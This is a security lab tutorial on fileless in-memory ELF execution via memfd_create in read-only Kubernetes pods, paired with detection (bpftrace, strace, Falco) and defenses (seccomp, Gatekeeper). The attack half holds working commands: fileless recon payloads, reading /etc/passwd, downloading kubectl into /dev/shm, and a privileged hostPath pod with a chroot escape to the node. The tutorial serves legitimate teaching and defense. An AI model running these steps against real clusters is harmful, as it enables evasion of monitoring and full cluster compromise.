Fileless, in-memory attacks are on the rise in cloud-native environments. Traditional attacks drop files to disk — binaries, scripts, webshells — which leaves artifacts for forensics and triggers file-based detection. In-memory attacks bypass this entirely: the payload exists only in RAM, executed through memory-backed file descriptors (memfd_create) that never touch the filesystem.
This is especially powerful in Kubernetes, where security-conscious teams deploy pods with read-only root filesystems. An attacker who lands inside such a pod can't write files — but they can execute arbitrary code in memory if they have access to a script interpreter (Python, Perl, Ruby).
This tutorial builds a complete attack-and-observe lab:
fee (Fileless ELF Execution)This is different from the memfd syscall overview — this is a hands-on lab where you build, transform, execute, and observe each step.
The memfd_create syscall creates an anonymous file in memory and returns a file descriptor. The file lives entirely in RAM — it has no path on the filesystem. You can write an ELF binary to this descriptor and then execute it via /proc/self/fd/<n>.
Normal execution: In-memory execution:
write binary → /tmp/payload memfd_create() → fd 3
chmod +x /tmp/payload write(fd 3, <ELF bytes>)
execve("/tmp/payload") execve("/proc/self/fd/3")
Leaves file on disk ✗ Nothing on disk ✓
Triggers file monitors ✗ Bypasses file monitors ✓
The fee tool automates this: it takes an ELF binary, base64-encodes it, and wraps it in a Python script that calls memfd_create, writes the binary to the descriptor, and executes it. The entire workflow can be piped through a Python interpreter — no files written.
# Create working directory
mkdir -p ~/inmem-lab && cd ~/inmem-lab
# Start a local cluster (minikube example)
minikube start
fee (Fileless ELF Execution) converts ELF binaries into Python scripts that use memfd_create for in-memory execution.
Create a Docker image with fee installed:
FROM python:3.11-slim
RUN pip install --user fee
Build it:
docker build -t fee-tool .
Test that it works:
# Convert the 'id' binary to a Python script
docker run --rm -v /usr/bin:/host:ro fee-tool \
/bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/id' > id_memfd.py
# Inspect the output — it's a Python script with base64-encoded ELF
head -5 id_memfd.py
You should see Python code that imports base64, ctypes, and calls memfd_create.
Before moving to Kubernetes, test the workflow in a Docker container with a read-only filesystem:
# Run a read-only container with Python
docker run --rm -it --read-only \
--tmpfs /dev/shm:rw,nosuid,nodev,noexec,size=64k \
python:3.11-slim /bin/bash
Inside the container, verify the filesystem is read-only:
touch /tmp/test
# touch: cannot touch '/tmp/test': Read-only file system
Now pipe the fee-converted script through Python:
# From your host, in another terminal:
cat id_memfd.py | docker exec -i <container_id> python3
# Output: uid=0(root) gid=0(root) groups=0(root)
The id binary executed entirely in memory — no file was written to the container's filesystem.
Create a deployment with a read-only root filesystem, simulating a security-hardened production pod:
# readonly-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: target-pod
namespace: default
labels:
app: target
spec:
containers:
- name: app
image: python:3.11-slim
command: ["sleep", "infinity"]
securityContext:
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 1000
volumeMounts:
- name: shm
mountPath: /dev/shm
volumes:
- name: shm
emptyDir:
medium: Memory
sizeLimit: 64Mi
Deploy it:
kubectl apply -f readonly-pod.yaml
kubectl wait --for=condition=Ready pod/target-pod --timeout=60s
Verify the filesystem is read-only:
kubectl exec target-pod -- touch /tmp/test
# error: Read-only file system
But Python is available:
kubectl exec target-pod -- python3 --version
# Python 3.11.x
This is the attacker's entry point.
An attacker who has gained code execution (via SSTI, RCE, or compromised CI/CD) can run reconnaissance tools entirely in memory.
# Convert 'id' for user enumeration
docker run --rm -v /usr/bin:/host:ro fee-tool \
/bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/id' > id_memfd.py
# Convert 'cat' for reading files
docker run --rm -v /usr/bin:/host:ro fee-tool \
/bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/cat' > cat_memfd.py
# Convert 'env' for environment enumeration
docker run --rm -v /usr/bin:/host:ro fee-tool \
/bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/env' > env_memfd.py
# Run 'id' in-memory
cat id_memfd.py | kubectl exec -i target-pod -- python3
# uid=1000 gid=1000
# Enumerate environment (K8s service account, API server address)
cat env_memfd.py | kubectl exec -i target-pod -- python3
# KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
# KUBERNETES_SERVICE_HOST=10.96.0.1
What happened: The id and env binaries were never written to disk. They were decoded from base64, written to an anonymous memory-backed file descriptor via memfd_create, and executed via /proc/self/fd/<n>. The read-only filesystem was completely bypassed.
The default fee output executes the binary with no arguments. To pass arguments (e.g., cat /etc/passwd), edit the last line of the generated Python script:
# Default (no args):
os.execle(p, 'cat', {})
# With arguments:
os.execle(p, 'cat', '/etc/passwd', {})
Or use this pattern to make it accept stdin arguments:
import sys
os.execle(p, sys.argv[0], *sys.argv[1:], {})
After initial recon reveals a database service (via environment variables), the attacker builds a custom exploit and executes it in-memory.
Go produces statically-linked binaries by default with CGO_ENABLED=0, which eliminates glibc version mismatches:
# Example: simple TCP connection tool
cat > connect.go << 'EOF'
package main
import (
"fmt"
"net"
"os"
)
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: connect <host:port>")
os.Exit(1)
}
conn, err := net.Dial("tcp", os.Args[1])
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
defer conn.Close()
fmt.Fprintf(conn, "PING\n")
buf := make([]byte, 1024)
n, _ := conn.Read(buf)
fmt.Printf("Response: %s\n", string(buf[:n]))
}
EOF
# Build static binary
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o connect connect.go
# Convert to fileless payload
docker run --rm -v $(pwd):/host fee-tool \
/bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/connect' > connect_memfd.py
# Probe a discovered service from inside the pod
cat connect_memfd.py | kubectl exec -i target-pod -- python3
Key insight: The custom Go binary was compiled on the attacker's machine, converted to a Python script with fee, and executed entirely in memory inside a read-only pod. No binary was ever written to the pod's filesystem.
If using C/C++ binaries instead of Go, the binary must be compiled against a glibc version equal to or older than the target container's:
# Check target glibc version
kubectl exec target-pod -- ldd --version 2>&1 | head -1
# Use an older Ubuntu base for compilation if needed
docker run --rm -v $(pwd):/host ubuntu:16.04 \
bash -c 'apt-get update && apt-get install -y gcc && gcc -static /host/exploit.c -o /host/exploit'
If the compromised pod's service account has elevated permissions (a common misconfiguration), the attacker can escalate to cluster admin.
Since the pod is read-only, use an interpreter-based file transfer (Perl, Python, or curl if available):
# kubectl_download.py — download kubectl via Python
import urllib.request, os, stat
url = 'https://dl.k8s.io/release/v1.28.0/bin/linux/amd64/kubectl'
path = '/dev/shm/kubectl'
urllib.request.urlretrieve(url, path)
os.chmod(path, stat.S_IRWXU)
print(f'Downloaded to {path}')
# Execute the download script
cat kubectl_download.py | kubectl exec -i target-pod -- python3
# Verify — /dev/shm is writable even on read-only pods
kubectl exec target-pod -- ls -la /dev/shm/kubectl
# Check what the service account can do
kubectl exec target-pod -- /dev/shm/kubectl auth can-i --list
# If create pods is allowed, deploy a BishopFox-style privileged pod
kubectl exec target-pod -- /dev/shm/kubectl run attack-pod \
--image=alpine --restart=Never \
--overrides='{
"spec": {
"hostNetwork": true,
"hostPID": true,
"containers": [{
"name": "attack",
"image": "alpine",
"securityContext": {"privileged": true},
"volumeMounts": [{"mountPath": "/host", "name": "root"}],
"command": ["sleep", "infinity"]
}],
"volumes": [{"name": "root", "hostPath": {"path": "/"}}]
}
}'
# Escape to the host
kubectl exec -it attack-pod -- chroot /host
This is a full cluster compromise — from a read-only pod to root on the worker node.
Now we observe the attack from the defender's perspective. On the Kubernetes node, use bpftrace to watch the memfd_create and execve syscalls:
# On the K8s node (or use a DaemonSet with host PID access)
sudo bpftrace -e '
tracepoint:syscalls:sys_enter_memfd_create {
printf("memfd_create: pid=%d comm=%s name=%s\n",
pid, comm, str(args->uname));
}
'
When the attacker executes a fee payload, you'll see:
memfd_create: pid=12345 comm=python3 name=
sudo bpftrace -e '
tracepoint:sched:sched_process_exec {
if (str(args->filename) == "/proc/self/fd/*") {
printf("FILELESS EXEC: pid=%d binary=%s\n",
pid, str(args->filename));
}
}
'
For detailed syscall-level observation on a specific process:
# Trace a process and all children
strace -f -e trace=memfd_create,execve,connect,open,write \
-p <PID> 2>&1 | grep -E "memfd|execve|connect"
Expected output during a fee payload execution:
memfd_create("", MFD_CLOEXEC) = 3
write(3, "\x7fELF\x02\x01\x01...", 14352) = 14352
execve("/proc/self/fd/3", ["id"], []) = 0
This is the smoking gun — memfd_create followed by execve on /proc/self/fd/3.
- rule: Fileless Execution via memfd_create
desc: >
Detect processes executing binaries from anonymous memory-backed
file descriptors, a technique used in fileless attacks.
condition: >
spawned_process and container and
(proc.exe startswith "/proc/self/fd/" or
proc.exe startswith "/dev/fd/")
output: >
Fileless execution detected
(user=%user.name command=%proc.cmdline exe=%proc.exe
container=%container.name image=%container.image.repository
pod=%k8s.pod.name ns=%k8s.ns.name)
priority: CRITICAL
tags: [container, mitre_defense_evasion, fileless]
Read-only filesystems are a good first step, but they don't prevent memfd attacks if a script interpreter is present. Layer defenses:
# Block pods that mount /dev/shm with exec permissions
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockShmExec
metadata:
name: block-shm-exec
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
The most effective defense — block the syscall entirely:
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["memfd_create"],
"action": "SCMP_ACT_KILL"
}
]
}
Apply via pod security context:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: block-memfd.json
With memfd_create blocked at the kernel level, fee payloads fail immediately.
| Layer | Defense | What it blocks |
|---|---|---|
| Filesystem | readOnlyRootFilesystem: true |
Traditional file drops |
| Seccomp | Block memfd_create syscall |
Fileless execution via memory FDs |
| Admission | Gatekeeper policies | Privileged pods, missing security contexts |
| Runtime | Falco rules | Detect execve from /proc/self/fd/* |
| Network | Network policies | Lateral movement, C2 callbacks |
kubectl delete pod target-pod --ignore-not-found
kubectl delete pod attack-pod --ignore-not-found
rm -f id_memfd.py cat_memfd.py env_memfd.py connect_memfd.py
rm -f connect connect.go kubectl_download.py
rm -rf ~/inmem-lab